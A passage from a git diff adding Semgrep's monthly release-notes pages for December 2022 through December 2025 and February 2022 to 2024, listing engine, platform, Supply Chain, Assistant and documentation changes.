+Fix a segmentation fault on Apple M1 processors when using `-filter_irrelevant_rules` on rules with very large pattern-either fields. ([#4305](https://github.com/semgrep/semgrep/issues/4305))
+
+#### Python
+
+Generate correct lexical exn for unbalanced braces. ([#4310](https://github.com/semgrep/semgrep/issues/4310))
+
+#### YAML
+
+Fix off-by-one error in location of arrays.
+
+### Changes
+
+#### semgrep-core
+
+Log messages are now tagged with the process id.
+
+#### Given `--output` Semgrep no longer prints search results to stdout
+
+When using `--output` parameter, Semgrep no longer prints findings to standard output (stdout), but it only saves or posts those findings to the specified file or URL.
+
+#### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.76.0).
+
diff --git a/mintlify-docs/release-notes/december-2022.mdx b/mintlify-docs/release-notes/december-2022.mdx
new file mode 100644
index 0000000000..724bf81747
--- /dev/null
+++ b/mintlify-docs/release-notes/december-2022.mdx
@@ -0,0 +1,65 @@
+---
+title: "December 2022"
+description: "December 30, 2022 · 2 min read"
+rss: true
+---
+
+
+## Semgrep Supply Chain
+
+### Additions
+
+- Semgrep Supply chain now supports PR or MR comments within GitHub and GitLab repositories. This feature is enabled by default and sends comments to both GitHub and GitLab users when Semgrep Supply Chain detects **reachable vulnerabilities**.
+- Improved load time for the Supply Chain > Vulnerabilities page for users with many vulnerabilities.
+- Vulnerabilities are now automatically marked as fixed if a `semgrep ci` scan detects that the lockfile or reachable usages were fixed.
+- Vulnerability cards (records that appear in **Supply Chain** > **Vulnerabilities**) now link to the source rule or advisory that detected the vulnerability. To view the source rule from the record, click the `>` icon:
+
+ 
+
+
+### Changes
+
+- Fixing a vulnerability’s reachable usages now causes the original vulnerability card to be marked as fixed, and a separate card will appear for unreachable usages which can be triaged separately.
+- Improved responsiveness of search bars within Supply Chain > Vulnerabilities and Supply Chain > Advisories.
+
+## Semgrep App
+
+### Additions
+
+On the [Findings](https://semgrep.dev/orgs/-/findings/) page, you can now filter by rule category and rule confidence level.
+
+## Semgrep CLI
+
+These release notes include upgrades for versions ranging between 1.0.0 and 1.2.1.
+
+### Additions
+
+- JSON output: Added a `max_memory_bytes` field to the output of the `semgrep --json --time` which corresponds to the amount of memory allocated during the OCaml phase of Semgrep. This is useful for telemetry purposes.
+- DeepSemgrep: If you have a Team tier account in Semgrep App, and you enable the DeepSemgrep setting, then `semgrep ci` automatically runs the DeepSemgrep engine instead of the regular Semgrep CLI engine on full scans (but not in PR scans). See the [DeepSemgrep](/semgrep-code/semgrep-pro-engine-intro) documentation for installation details.
+
+### Changes
+
+- Semgrep CLI does not print a summary of blocking rules unless it is invoked with `semgrep ci` subcommand. (Issue [#6651](https://github.com/semgrep/semgrep/pull/6651))
+
+## Documentation updates
+
+### Additions
+
+- Added a new section to Semgrep App > Single sign-on (SSO) configuration to configure Semgrep with [Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id).
+- Added a new document **Learning Semgrep App with a demo project**.
+- Added section [Disable rules](/semgrep-code/policies/#disable-rules).
+- Added [Licensing document](/licensing) which provides an overview of licenses used by different Semgrep, Inc products.
+
+### Changes
+
+- Updated [Getting started with Semgrep App](/deployment/core-deployment) to clarify how permissions are used by Semgrep, such as what files are read and what features are enabled by certain permissions.
+- Separated referential introductions from [Getting started with Semgrep Supply Chain](/semgrep-supply-chain/getting-started) into a separate document, [Overview of Semgrep Supply Chain](/semgrep-supply-chain/overview).
+- Updated [Installing DeepSemgrep](/semgrep-code/semgrep-pro-engine-intro) section.
+- Updated [Filtering findings](/semgrep-code/findings/#filter-findings) section with information about new filtering options.
+- The following documents have been moved out of the Experiments section as they are now considered GA:
+ - [Autofix](/writing-rules/rule-defined-fix)
+ - [Generic pattern matching](/writing-rules/generic-pattern-matching)
+ - [Metavariable analysis](/writing-rules/metavariable-analysis)
+ - Taint propagators - moved to [Taint tracking](/writing-rules/data-flow/taint-mode/overview#propagators-) documentation
+- Updated screenshots in Semgrep App documentation. Many additional improvements and fixes were made.
+
diff --git a/mintlify-docs/release-notes/december-2023.mdx b/mintlify-docs/release-notes/december-2023.mdx
new file mode 100644
index 0000000000..45309ca96a
--- /dev/null
+++ b/mintlify-docs/release-notes/december-2023.mdx
@@ -0,0 +1,131 @@
+---
+title: "December 2023"
+description: "December 30, 2023 · 4 min read"
+rss: true
+---
+
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in December 2023:
+
+ * [ 1.52.0](https://github.com/semgrep/semgrep/releases/tag/v1.52.0)
+ * [ 1.53.0](https://github.com/semgrep/semgrep/releases/tag/v1.53.0)
+ * [ 1.54.0](https://github.com/semgrep/semgrep/releases/tag/v1.54.0)
+ * [ 1.54.1](https://github.com/semgrep/semgrep/releases/tag/v1.54.1)
+
+## 🌐 Cloud Platform
+
+### Added
+
+* Semgrep IDE integrations now cache information about the current repository so
+ that it doesn't traverse the entire repository on every scan to determine if
+ the files are valid targets for scanning; this improves scan times.
+* Users can now ignore findings locally in Semgrep IDE extensions. The changes
+persist between restarts, though they're not reported back to Semgrep Cloud
+Platform and don't affect the remote repository or other users. Note that these findings
+are still detected when Semgrep scans your code, typically when opening a pull
+request or merge request.
+* The metrics collected now include more granular information to help
+differentiate scans using different engine capabilities, such as intraprocedural
+scans without secrets validation versus intraprocedural scans *with* secrets
+validation.
+* **CLI tool**: Added new `semgrep test` subcommand, which is an alias for
+`semgrep scan --test`. **NOTE**: If the **name** of the directory you are
+scanning is `test`, use `semgrep scan test` to avoid confusion with the new
+`semgrep test` subcommand.
+
+### Changed
+
+* **OCaml**: Switched to a tree-sitter-based parser instead of the Menhir
+ parser.
+* **Rust**: Updated the parser used for Rust.
+
+### Fixed
+
+* Fixed an issue where webhooks stopped working.
+* Fixed an issue so that clicking **Start Tour** now restarts the Getting Started
+ tutorial.
+* Fixed an issue where the **Members** page doesn't display a user's new role until
+ the page reloads.
+* Fixed an issue where users switching organizations would result in a 404.
+
+* Fixed the **Connect to** button under **Settings** > **Source Code Managers**
+ so that it displays correctly based on whether the user can connect to a
+ source code manager.
+* **CLI tool**: Updated CLI error message to clarify that users should log in
+ before running either:
+ * `semgrep ci`
+ * `semgrep scan --config`
+
+## 💻 Code
+
+### Fixed
+
+* Fixed an issue where Semgrep Code findings marked as **fixed** can be triaged through
+ the rule group. Once a finding is fixed, its triage status can't be changed back
+ to **ignored**.
+* Fixed an issue where the rule information card and the rule preview are missing
+ for older findings; all findings now display this information.
+* Fixed an issue where the finding's severity displayed doesn't match the rule's
+ severity once the rule has been updated.
+
+## ⛓️ Semgrep Supply Chain
+
+### Changed
+
+* Fixed an issue where empty tables in `pyproject.toml` files would fail to parse.
+
+## 🤖 Assistant (beta)
+
+### Added
+
+* Added the **Analyze** button to Semgrep Cloud Platform's **Code** page, which
+triggers all Assistant functions on selected findings, including autofix, autotriage, and component
+tagging. After Assistant performs these functions, users
+can see their results if they filter for findings based on **Recommendation** or
+by **Component**. Additionally, users who choose **No Grouping** instead of
+**Group by Rule** see false positive and true positive recommendations when
+viewing their finding details pages.
+
+## 🔐 Secrets (beta)
+
+### Added
+
+* Added support for custom validator rules, which can be written using Semgrep's
+ Rules Editor and run using `semgrep ci --allow-untrusted-validators`. Note
+ that custom validator rules are private and can't be shared to Semgrep
+ Registry.
+
+### Fixed
+
+* Fixed an issue where the **Ignore** button doesn't work when triaging Secrets.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+* Added [Quickstart](/getting-started/quickstart).
+* Added [Data privacy and legal considerations](/semgrep-multimodal/privacy) information for Semgrep Assistant.
+* New knowledge base articles:
+ * [Fix pattern parse errors when running rules](/kb/rules/pattern-parse-error)
+ * [How to scan a large monorepo](/kb/semgrep-code/scan-engine-kill)
+ * [Scanning a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts)
+ * [SSO Error: Signature validation failed. SAML Response rejected](/kb/semgrep-appsec-platform/saml-bad-signature)
+ * [Troubleshooting "You are seeing this because the engine was killed" on monorepos](/kb/semgrep-code/scan-engine-kill)
+
+### Changed
+
+* Updated overview articles for [Semgrep Code](/semgrep-code/overview) and
+ [Semgrep Supply Chain](/semgrep-supply-chain/overview).
+* Updated documentation on setting up pull request or merge request comments for
+ [GitHub](/semgrep-appsec-platform/github-pr-comments),
+ [GitLab](/semgrep-appsec-platform/gitlab-mr-comments), and
+ [Bitbucket](/category/bitbucket-pr-comments) users.
+* General improvements to API docs, including clarification of usage
+ instructions for Supply Chain and Secrets endpoints.
+
+### Fixed
+
+* Minor corrections and updates to various articles.
+
diff --git a/mintlify-docs/release-notes/december-2024.mdx b/mintlify-docs/release-notes/december-2024.mdx
new file mode 100644
index 0000000000..422514074e
--- /dev/null
+++ b/mintlify-docs/release-notes/december-2024.mdx
@@ -0,0 +1,121 @@
+---
+title: "December 2024"
+description: "December 30, 2024 · 5 min read"
+rss: true
+---
+
+
+
+**IMPORTANT CHANGES**
+
+- The Semgrep CLI tool requires a minimum version of **Python 3.9** as of Semgrep 1.100.0.
+- Semgrep OSS is now **Semgrep Community Edition (CE)**. Read the [Semgrep CE section](#-semgrep-community-edition-ce) for more details.
+
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- **Policy management API** is now in private beta. This API enables you to add, update, and turn off rules for selected policies in your chosen mode.
+- You can now export your findings in CSV format. Semgrep can export up to 10,000 most recent findings. For findings greater than 10,000, use the [ API](https://semgrep.dev/api/v1/). See [Export findings](/semgrep-code/findings#export-findings) for more information.
+- Semgrep now tracks individual fields or keys in record or dict expressions. For example:
+ ```python
+ def foo():
+ return { 0: "safe", 1: taint }
+
+ def test():
+ t = foo()
+ sink(t[0]) # safe; this is not a finding
+ sink(t[1]) # this produces a finding
+ ```
+- **TypeScript**: Semgrep now supports ellipses in function parameters. For
+example, the following code is TypeScript, as opposed to pure JavaScript, because it uses decorators on function parameters:
+ ```typescript
+ foo(x, @Bar() y, z): string { return ''; }
+ ```
+ - You can match this method using the following pattern:
+ ```typescript
+ function $FN(..., @Bar(...) $X, ...) { ... }
+ ```
+- C#: Patterns such as new `$T(...)` now matches C# target-typed new expressions such as `new ()`.
+
+### Changed
+
+- **Semgrep Managed Scans**: Cloning repositories is now faster. This improves the speed of the overall scan.
+- **Reporting**: In cases where there were **no new findings** for the selected time period, the **Guardrails adoption** chart displayed 0% adoption, which was incorrect because there was nothing to adopt as there were no new findings. To better display that there is no data on adoption, the reporting page now displays blocks of grey for periods where there are no findings.
+
+### Removed
+
+- Removed the `use-osemgrep-sarif` flag.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added new **Pro rules**:
+ - 4 new rules for **Express.js** that cover SQL injection, object injection, and misconfiguration vulnerabilities.
+ - 13 new rules for **NestJS** framework vulnerabilities that cover code injection, SQL injection, path traversal, log injection, XML external entity, and cross site scripting.
+
+### Fixed
+
+- Fixed the date format used in `--gitlab-sast` option to match the specification and not use RFC 3339. Thanks to Elias Haeussler for the fix.
+- Fixed what is considered a sink when a sink formula matches a lambda expression: it is the lambda itself that is the sink, not the individual statements in the lambda.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Semgrep now supports reachability for **Swift**. For CLI users, ensure that you are using Semgrep **1.98.0 or higher**. Swift is the tenth language Semgrep supports with reachability analysis.
+ - Added support for SwiftPM `Package.resolved` version 3.
+- **Dependency Path**, which displays how transitive dependencies are imported into your code, is now in public beta for Java Gradle and Maven package managers.
+ - Dependency Path for Kotlin is in private beta.
+ - To join this beta, contact [ support@semgrep.com](mailto:support@semgrep.com).
+- Semgrep can now scan your Java Gradle and Maven codebases without the need for a lockfile. This feature is in public beta for Java and private beta for Kotlin Gradle and Maven. See also [Scan a project without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+ - To participate in this beta, contact [ support@semgrep.com](mailto:support@semgrep.com).
+ - Semgrep now provides the flag `--allow-local-builds`, which is used to enable this feature.
+
+### Changed
+
+- Improved `pnpm-lock.yaml` parsing.
+
+## 🤖 Semgrep Assistant
+
+### Changed
+
+- Semgrep Assistant is in the process of integrating its remediation guidelines into a single PR or MR comment. This means that you receive only one comment per finding, not including summary comments.
+ - Previously, Semgrep Assistant would add an additional, separate comment on the thread after the first comment from Semgrep. With this change, **all Semgrep guidance** is in one comment for clarity.
+ - This change is rolling out over the course of several weeks.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents, articles and sections:
+ - [JSON and SARIF reference](/semgrep-appsec-platform/json-and-sarif) provides you with a list of fields supported by Semgrep CE and Semgrep AppSec Platform.
+ - [Full and diff-aware scans with GitHub and Jenkins](/kb/semgrep-ci/jenkins-diff-scans) helps you set up and troubleshoot Semgrep.
+ - The [Semgrep Supply Chain > Dependency graphs](/semgrep-supply-chain/dependency-search#dependency-paths-beta) section provides instructions on how to enable the feature.
+ - Instructions on [scanning a project without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta) in Semgrep Supply Chain.
+
+### Changed
+
+- Updated Quickstart links to point users to the most common methods of setting up Semgrep.
+- Updated language support details in [Supported languages > Semgrep Supply Chain](/supported-languages#semgrep-supply-chain).
+- **Extract mode** has been moved to the [Deprecated experiments](/writing-rules/experiments/deprecated-experiments) page.
+- Updated Semgrep Secrets triage documentation to include new ticketing integrations and triage states.
+- Renamed instances of Semgrep OSS to Semgrep CE, except for instances within release notes.
+
+## 🔧 Semgrep Community Edition (CE)
+
+- Semgrep OSS has been renamed to **Semgrep Community Edition (CE)**. Semgrep CE remains free, with 2800+ rules and no login required. See also [ Important updates to Semgrep OSS](https://semgrep.dev/blog/2024/important-updates-to-semgrep-oss/) in the Semgrep blog.
+- Rules authored and maintained by Semgrep, Inc. are now licensed under [ Semgrep Rules License v.1.0](https://semgrep.dev/legal/rules-license/). These rules are available only for internal, non-competing, and non-Software-as-a-Service (SaaS) contexts.
+- As of Semgrep 1.100.0, certain JSON and SARIF export fields are available only for logged-in users. See the [JSON and SARIF reference](/semgrep-appsec-platform/json-and-sarif) for the list of fields.
+- The following versions of Semgrep CE were released in December 2024:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/december-2025.mdx b/mintlify-docs/release-notes/december-2025.mdx
new file mode 100644
index 0000000000..7c57bec7f7
--- /dev/null
+++ b/mintlify-docs/release-notes/december-2025.mdx
@@ -0,0 +1,114 @@
+---
+title: "December 2025"
+description: "January 13, 2026 · 7 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in December 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+- Added a new **Priority** tab on **Findings** page to display high-priority findings. Each product has default priority categories, and Semgrep admins can customize the **Priority** tab to control which findings appear. Admins can save **Priority** tab filters for all users.
+- Added a new **Provisionally ignored** finding status.
+- Commit author emails now appear in the finding's **Details** when available.
+
+### Changed
+- The **Findings** page now has improved navigation and more intuitive links. The code path now opens the finding's **Details** page, and an in-product tour introduces the new layout.
+- On the **Projects** page, project names now link directly to project details, making it easier to access scan information from the project list.
+- On the finding's **Details** page, when no ticketing integration is configured, the Fix drop-down now includes a prominent link to the relevant **Integration** settings page.
+- The **Settings** page has been reorganized to highlight commonly used features and make it easier to find what you need.
+- The triage-by-comment setting is now available in the **Settings > Global** section, making it easier to manage across products.
+- When SSO is enabled, the Semgrep AppSec Platform now shows warnings for social authentication in **Settings > Access > Login methods** and highlights users using social auth in **Settings > Users**, helping admins identify and reduce security risks.
+- Newly created users who sign in with SSO are now added only to the default deployment, reducing unintended access in multi-deployment organizations.
+- Activating or deactivating SSO and other authentication providers now shows more user-friendly success and partial-failure messages.
+- The **Today** section on the **Reporting** page now uses the same priority definitions as the **Findings** page, including any custom priority settings.
+- The **Guardrails** chart now shows provisionally ignored findings instead of the previous **Filtered by Assistant** field, providing a more complete view of findings excluded from the default list of **Open** findings.
+- User search on the **Manage users** page has been simplified. You can now search by email, username, or ID using a single search field, without selecting the search type first.
+
+### Fixed
+- Fixed incorrect tab selection during navigation so the correct tab is now highlighted when viewing pages under the project path.
+- Fixed IdP-initiated SAML login issues. You can now sign in successfully using IdP-initiated SAML.
+- Fixed Assistant triage actions for read-only users. Read-only users can no longer record agreement with Assistant analysis, and the activity timeline now reflects only actions taken by users with triage permissions.
+- Fixed an issue where the **Connect** button remains disabled when adding a new GitHub Enterprise connection.
+- Fixed an issue where the **Save** and **Reset** buttons appear only when you’ve modified filters or have saved views to manage.
+- Fixed CNAPP visibility for non-admin users. Users with access to findings can now see CNAPP integration status, ensuring CNAPP filters and descriptions display correctly.
+- Fixed an issue where the **Users** page did not reset when changing the search query.
+- Fixed an issue where the **Teams** search bar was unusable when adding users or projects.
+- Fixed an issue preventing custom OpenAI API keys from being saved.
+- When a scan is running, the **Analyze** button on the finding's **Details** page is now disabled and displays an explanatory tooltip on why this is the case.
+- Fixed several issues with **Findings** page filters:
+ - The **Save** and **Reset** buttons only appear when you've modified the filters or have saved views to manage.
+ - Changes to time-based filters persist.
+ - Team filters now appear only when RBAC is enabled, ensuring filters reflect your deployment’s access controls.
+
+
+## 💻 Semgrep Code
+
+### Changed
+- Git Large File Storage (LFS) objects are excluded from baseline scans. Files tracked with Git LFS are no longer scanned during baseline runs, avoiding large or binary files that are not supported by Semgrep.
+
+### Fixed
+- Fixed an issue where findings in files that time out or fail to scan were set to a status of **Fixed**, ensuring scan results more accurately reflect what was actually analyzed.
+- Fixed validation failures for valid rules. Rules that include emoji in the `message` field now validate correctly.
+- Fixed an interfile scan timeout regression, restoring the previous default job behavior to prevent unexpected timeout changes.
+- Fixed an issue with duplicate scans triggered by GitHub pull request updates. Semgrep now processes pull request update events only once, preventing duplicate scans for the same change.
+
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+- The **Advisories** page now shows impacted projects and branches. You can now click on an advisory to see affected projects and branches and use quick links to go directly to relevant findings.
+- Added new **High severity** reachability rules to improve vulnerability detection for Java, Kotlin, and Scala projects that use Maven.
+- Added symbol analysis support for Supply Chain–only scans when calling `semgrep ci`.
+
+### Changed
+- The **Dependencies** page's **License** filter now supports the section of multiple license types, so you can view dependencies that are **Allowed**, **Blocked**, and **Commented** at the same time.
+
+
+### Fixed
+- Fixed project filtering on the **Dependencies** page such that filtering by multiple projects now works as expected, and the search field clears correctly after you select a project.
+- Fixed symbol analysis to analyze only relevant language files per ecosystem during Supply Chain scans.
+- Fixed CVE filter chip labeling for shared rules such that filter chips now show all applicable CVEs instead of only the first.
+- Fixed missing findings in advisory filters. Advisory filters now correctly show all existing findings.
+- Fixed project selection in Supply Chain filters, allowing you to select multiple projects as expected when filtering results.
+
+## 🤖 Semgrep Assistant
+
+### Added
+- Added support for Cursor post-generation hooks, enabling Semgrep to integrate with Cursor workflows after code generation.
+- Assistant memories now include links to the pull request or merge request comments where triage decisions were made, improving traceability back to the original source.
+
+
+### Changed
+- Pull request comments for findings generated using Semgrep-authored rules now include Assistant-generated explanations to help developers understand the findings. The summary message can be expanded to show additional details.
+- Findings in Semgrep AppSec Platform now include Assistant-generated explanations to clarify why a rule matched your code and a concise summary, if available.
+- Assistant notifications now show more specific error messages, helping you understand why an analysis could not run.
+- When multiple rules share the same name, the full rule path is now shown in Semgrep AppSec Platform to help distinguish them.
+
+### Fixed
+
+## 🔐 Semgrep Secrets
+
+### Changed
+
+- Semgrep Secrets findings are now assigned a severity of **Critical**. This applies to Secrets findings from scans performed after November 2025. Any existing findings from those rules will be updated to **Critical** after the project's next full scan.
+
+### Fixed
+- Fixed an issue with configuring Slack notifications for Secrets policies. Selecting a Slack channel no longer causes the page to crash, and configurations now save successfully.
+
+## 📝 Documentation and knowledge base
+
+### Added
+- Improved API documentation for Ruleboards and Policies. The API docs have been updated to correctly display request parameters in the request body and hide path parameters, making it easier to understand and use these endpoints.
+
+## 🔧 OSS Engine
+
+### Changed
+- Semgrep’s Docker image now uses Alpine Linux 3.23
+* The following versions of the OSS Engine were released in December 2025:
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/release-notes/february-2022.mdx b/mintlify-docs/release-notes/february-2022.mdx
new file mode 100644
index 0000000000..a50023cb2e
--- /dev/null
+++ b/mintlify-docs/release-notes/february-2022.mdx
@@ -0,0 +1,129 @@
+---
+title: "February 2022"
+description: "February 28, 2022 · 3 min read"
+rss: true
+---
+
+
+## Version 0.83.0
+
+### Additions
+
+#### Semgrep logs
+
+Semgrep now saves logs of its last run to `~/.semgrep/last.log`.
+
+#### New recursive operator in join mode
+
+Join mode enables you to cross file boundaries, allowing you to write rules for whole code bases instead of individual files. With this update, you can now use a new recursive operator `-->` to recursively chain Semgrep rules based on metavariable contents. ([#4684](https://github.com/semgrep/semgrep/pull/4684))
+
+#### Scanned paths under `paths.scanned` key
+
+Semgrep now lists the scanned paths in its JSON output under the `paths.scanned` key.
+
+#### The `--verbose` option lists skipped paths
+
+With the `--verbose` option, the skipped paths are listed under the `paths.skipped` key.
+
+#### C improvement
+
+Semgrep now supports typed metavariables in C#. ([#4657](https://github.com/semgrep/semgrep/issues/4657))
+
+#### The `metavariable-analysis`
+
+Experimental `metavariable-analysis` feature that supports two kinds of analyses rules:
+- Prediction of regular expression denial-of-service vulnerabilities (Regular expression Denial of Service (ReDoS) analyzer). ([#4700](https://github.com/semgrep/semgrep/pull/4700))
+- High-entropy string detection (`entropy`). ([#4672](https://github.com/semgrep/semgrep/pull/4672))
+
+#### The `semgrep publish`
+
+A new subcommand `semgrep publish` allows users to upload private, unlisted, or public rules to the Semgrep Registry.
+
+### Changes
+
+#### Constant propagation
+
+Improved constant propagation for global constants.
+
+#### PHP improvement
+
+Constant propagation is now aware of `escapeshellarg` and `htmlspecialchars_decode`. If you give these functions constant arguments, Semgrep assumes that their output is also a constant.
+
+#### Use different environment variable
+
+The environment variable used by Semgrep login changed from `SEMGREP_LOGIN_TOKEN` to `SEMGREP_APP_TOKEN`.
+
+### Fixes
+
+The fixes section includes only important or breaking fixes. To see the full list of fixes, see [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.83.0).
+
+#### Limit for Perl Compatible Regular Expressions (PCRE) engine retries
+
+With this update, the Perl Compatible Regular Expressions (PCRE) engine is now configured to limit hanging scans. As a consequence, the hanging scans which took a long time to process are now stopped after a specific limit is reached. However, some scan results may not be reported as their processing was above this limit.
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.83.0).
+
+## Version 0.82.0
+
+### Additions
+
+#### Support of semgrep --baseline-commit
+
+With this update, you can use experimental baseline scanning by issuing the following command:
+
+```
+semgrep --baseline-commit GIT_COMMIT_HASH
+```
+
+Use this option with a commit hash or a branch name. The `--baseline-commit` option limits the scan results to those introduced after the commit you specify.
+For example, you have a repository with 10 commits, use the commit hash of the 8th commit, and Semgrep returns scan results introduced by changes in commits 9 and 10. ([#4571](https://github.com/semgrep/semgrep/pull/4571))
+
+### Changes
+
+#### Scans indicate skipped target paths
+
+Semgrep scans now indicate a breakdown of skipped target paths with the reason for the scan skip. In addition, using the `--verbose` mode lists all skipped paths.
+
+#### Performance improvement of semgrep-core
+
+All rules are now sent directly to semgrep-core, resulting in a significant performance increase for small-to-medium-sized code repositories. This improvement led to the following changes:
+- Static Analysis Results Interchange Format (SARIF) output includes all used rules.
+- Error messages use the full path of rules.
+- Progress bar reports by file instead of by rule.
+
+#### Python 3.7 is the minimum version to use Semgrep
+
+The required minimum version of Python for Semgrep is now 3.7 instead of EOL 3.6.
+
+#### Bloom filter
+
+Bloom filter optimization now considers `import` module file names. As a consequence, Semgrep matches patterns such as `import { $X } from 'foo'` with increased performance. ([#4605](https://github.com/semgrep/semgrep/pull/4605))
+
+#### Indentation removed to provide additional space
+
+Indentation is now removed from matches to provide more space.
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.82.0).
+
+## Version 0.81.0
+
+### Additions
+
+#### Dockerfile
+
+Complete support for metavariables and anonymous ellipses except in ENV instructions. ([#4556](https://github.com/semgrep/semgrep/pull/4556), [#4577](https://github.com/semgrep/semgrep/pull/4577))
+
+### Fixes
+
+#### Java
+
+Match resources in Java try-with-resources statements. ([#4228](https://github.com/semgrep/semgrep/issues/4228))
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.81.0).
+
diff --git a/mintlify-docs/release-notes/february-2023.mdx b/mintlify-docs/release-notes/february-2023.mdx
new file mode 100644
index 0000000000..a8a9f1bb3c
--- /dev/null
+++ b/mintlify-docs/release-notes/february-2023.mdx
@@ -0,0 +1,81 @@
+---
+title: "February 2023"
+description: "February 28, 2023 · 4 min read"
+rss: true
+---
+
+
+## Important update
+
+- Semgrep CLI is now officially renamed to **Semgrep open-source (OSS) Engine**. As of this update, this documentation uses the term Semgrep CLI for Semgrep command-line interface (CLI) which you can utilize for several products, such as Semgrep OSS, Semgrep Code, and Semgrep Supply Chain.
+- Team tier rules are now renamed to Pro Rules. **Pro rules** are created by Semgrep, Inc for security and software engineers who need accurate findings. These rules were previously called Team tier rules. As of this update, these rules are officially called the **[Pro rules](/semgrep-code/pro-rules)** and are available with the [Team or higher tier](https://semgrep.dev/pricing).
+- DeepSemgrep has been bundled with other functionalities to offer you **Semgrep Pro Engine**. Semgrep Pro Engine is fully available for [Team or higher tier](https://semgrep.dev/pricing) users. See the [DeepSemgrep → Semgrep Pro Engine](#deepsemgrep--semgrep-pro-engine) update below for more details.
+
+## Semgrep CLI → Semgrep OSS Engine
+
+These release notes include upgrades for versions ranging between 1.8.0 and 1.13.0.
+
+- Semgrep CLI is now Semgrep OSS Engine!
+- Newly added or upgraded [supported languages](/supported-languages):
+ - Experimental support for Clojure, Lisp, Scheme, XML, Jsonnet.
+ - Beta support for Rust.
+
+- taint-mode: Taint propagators can now specify `by-side-effect`, just like sources and sanitizers. However, the default value of `by-side-effect` for propagators is `true` (unlike for sources or sanitizers). When using rule option `taint_assume_safe_functions: true`, this allows specifying functions that must propagate taint, for example:
+
+ Without `by-side-effect: true`, `unsafe_function` itself would be tainted by side-effect, and subsequent invocations of this function, even if the arguments were safe, would be tainted.
+
+ ```yaml
+ pattern-propagators:
+ - by-side-effect: false
+ patterns:
+ - pattern-inside: $F(..., $X, ...)
+ - focus-metavariable: $F
+ - pattern-either:
+ - pattern: unsafe_function
+ from: $X
+ to: $F`
+ ```
+- Allow metavariable-pattern clauses that use `language: generic` to potentially match any metavariable binding kind. For example, with the pattern `foo($...ARGS)`, it is now possible to use a `metavariable-pattern` on `$...ARGS` with `language: generic`, and match using generic mode against whatever text `$...ARGS` is bound to.
+
+## DeepSemgrep → Semgrep Pro Engine
+
+- DeepSemgrep has been bundled with other functionalities to offer you **Semgrep Pro Engine**! Semgrep Pro Engine is fully available for [Team or higher tier](https://semgrep.dev/pricing) users. See [Semgrep Pro](/semgrep-code/semgrep-pro-engine-intro) documentation.
+- Experimental support for Apex language is now available in Semgrep Pro Engine.
+- The following already **deprecated** flags have been completely removed and substituted:
+ - `-deep` has been removed and substituted by `-pro`.
+ - `-interfile` has been removed and substituted by `-pro`.
+ - `-interproc` has been removed and substituted by `-pro-intrafile`.
+- Removed already **deprecated** command:
+`install-deep-semgrep` has been removed and substituted by `install-semgrep-pro`.
+
+## Semgrep App → Semgrep Cloud Platform
+
+- Semgrep App is now Semgrep Cloud Platform!
+- Group by rule became the default view on the Findings page (now labeled as **Code** page) of Semgrep Cloud Platform. This view enables you to see which rules detected certain findings. You can always switch to the old no grouping view. For more information, see [Grouping by rule](/semgrep-code/findings/#group-findings).
+- Taint analysis traces are now displayed on the finding detail page, helping you to track tainted data as they propagate through your code. See [Viewing the path of tainted data](/semgrep-code/findings/#dataflow-traces) to try out this feature.
+
+## Semgrep Supply Chain
+
+- Semgrep Supply Chain now displays a summary of vulnerabilities and scan data in the **Semgrep Cloud Platform** > **Dashboard** page. This enables users to view a report of findings for both their first-party and third-party code.
+- Java is now a Generally Available language in Semgrep Supply Chain.
+- Various fixes and improvements to performance.
+
+## Semgrep Registry
+
+- When you now click on a hyperlink header with the rule name in [Semgrep Registry](https://semgrep.dev/explore), the link opens a new tab with the rule in either the Semgrep Playground (if you are logged out) or in Semgrep Editor (if you are logged in). This means that you can keep open the Semgrep Registry page and easily check and modify rules.
+
+## Documentation
+
+- Slight improvements to relevancy in Semgrep Docs’s search bar.
+- Updates to **Supported Languages** > **Semgrep Supply Chain** and **Semgrep Code** > **Semgrep Pro Engine**.
+- Updates to **Semgrep Code** > **Alerts and Notifications** to consolidate all methods to send and receive scan data, such as findings.
+- Updates to **Pricing and Billing** to reflect the differences between Semgrep OSS Engine and Semgrep Code.
+- Added new documentation category Semgrep Code.
+- Updates to Semgrep Docs’s navbar.
+- Added [Grouping by rule](/semgrep-code/findings/#group-findings) section.
+- Added [Viewing the path of tainted data](/semgrep-code/semgrep-pro-engine-data-flow) section and [Semgrep Pro Engine taint traces](/semgrep-code/semgrep-pro-engine-data-flow) document.
+- Updated [Viewing details and adding notes to findings](/semgrep-code/findings/#add-notes-to-findings) section.
+- Updated [Tagging projects](/semgrep-appsec-platform/tags) document.
+- Iframes with rule examples in [Rule syntax](/writing-rules/rule-syntax) document have been changed to links to specific rules due to a great number of calls generated from this page. Iframes or code snippets may return in future updates.
+- Many small updates, fixed broken links, typos, night theme logo on our home page, and overall improvements to make your experience of reading our documentation smoother.
+
diff --git a/mintlify-docs/release-notes/february-2024.mdx b/mintlify-docs/release-notes/february-2024.mdx
new file mode 100644
index 0000000000..a9837c5782
--- /dev/null
+++ b/mintlify-docs/release-notes/february-2024.mdx
@@ -0,0 +1,171 @@
+---
+title: "February 2024"
+description: "February 28, 2024 · 5 min read"
+rss: true
+---
+
+
+## 🔧 OSS Engine
+
